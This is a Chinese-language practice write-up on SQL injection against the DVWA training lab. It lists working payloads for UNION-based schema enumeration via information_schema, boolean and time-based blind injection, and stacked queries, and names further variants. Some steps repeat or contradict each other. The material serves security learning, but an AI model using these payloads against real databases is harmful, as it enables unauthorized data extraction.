利用dvwa靶场深度学习sql注入攻击
sql注入详细过程及总结
发给数据的参数有引号为字符型
利用数据连接软件查看数据库
select * from users先查看数据库
不熟悉语句,导致错误
通过排序语句,依据第二列字母的排序
select * from users order by 2;
判断数据表只有8个字段,order by 9 就会出错
于是利用这个,判断表的字段数
当ord用3时候就报错,可知只会用两列
下面来判断登陆口是否做了查询限制
熟悉了这个保存mysql的配置的数据库后知道,数据库的更多信息
利用了union就把这个配置数据库的重要的表信息查出来了
接着第二次练习
先将靶场安全级别设置为low
判断sql注入是否存在
- 先判断参数类型
根据数据库的反馈来判断
攻击路径:通过向
Select if(user()=’root’,’yes; ‘no’)
Select if(1,’root’,’yes; ‘no’)
那怎么让web服务器回答问题
用union连接IF语句
比如
Id=1’ union select if(1=2);#
探测数据库模式获得更多信息
2' union select null,table_schema from information_schema.tables;#
利用数据库信息配置数据库得知了当前的数据库名
利用where语句对inform表进行限制查出dvwa数据库下有两张表
接着查出数据库下的字段名
2' union select null,column_name from information_schema.columns where table_schema='dvwa';#
优化查询,查出列所属表
查询users的字段值
个人总结
1、基于布尔的SQL 盲注
Step 1:判断注入
Step 2:猜测可能的SQL 语句
Step 3:探测数据库模式
SELECT * FROM table_users WHERE uid=’id’;
id=1’ and (select if(1=1, 1, 0));#
SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=1, 1, 0));#’;
用户存在
id=1’ and (select if(1=2, 1, 0));#
SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=2, 1, 0));#’;
用户不存在
猜测当前数据库的名称:
a b c d e f g h i j k l m n o p q r s t u v w x y z
1' and (select if(ascii(substring(database(), 1, 1))<ascii('a'), 1, 0));#
用户不存在 è数据库名称首字符比’a’大
1' and (select if(ascii(substring(database(), 1, 1))<ascii('n'), 1, 0));#
用户不存在 è数据库名称首字符比’n’小
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符比’g’小
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符大于或等于’d’
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符比’e’小
推断数据库名称的首字符为d
以此类推,查询数据库中的表,列名称以及对应的值
2、HTTP 请求方法
A)GET 方法
http://10.211.55.4/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#
B)POST 方法
http://10.211.55.4/dvwa/vulnerabilities/sqli/#
3、基于POST 请求的SQL 注入
Step 1:判断注入类型
1’ 或者1’ and ‘1’=’1 è报错,推断不是字符型SQL 注入
1 and 1=1 è正确
- and 1=2 è错误
推断出这是一个整数型SQL 注入
Step 2:推测SQL 查询语句
SELECT first_name,sur_name from table_users WHERE uid=id;
Step 3:用order by 子句推测SELECT 的列数
Order by 2 è正确
Order by 3 è错误
推断SELECT 语句选择了2 列
Step 4:探测数据库模式
探测当前连接数据库的用户名和数据库名称
探测出数据库dvwa 数据库的模式
3、SQL 注入进阶
——基于时间的注入攻击
Sleep 函数,benchmark 类似函数
建议:如果能够转换为基于布尔型的SQL 盲注,尽量避免基于时间的 盲注
——堆叠查询注入
可以通过SQL 注入多条SQL 执行语句
DVWA:Low:SQL Injection
SELECT * FROM table_users WHERE user_id=’id’;
id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#
SELECT * FROM table_users WHERE user_id=’ 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#’;
Php+mysql 如何支持堆叠查询???
——宽字节注入
——cookie 注入
——Base64 注入
所有的注入信息都需要执行base64 编码(不是加密)再发送到Web
服务器进行查询。
如果需要执行注入,则需要把构建好的新的SQL 语句编码之后再替换
提交内容
——针对cgi 的注入
POST 方式提交,内容发送给cig 网关程序而不是web 页面
更多推荐
所有评论(0)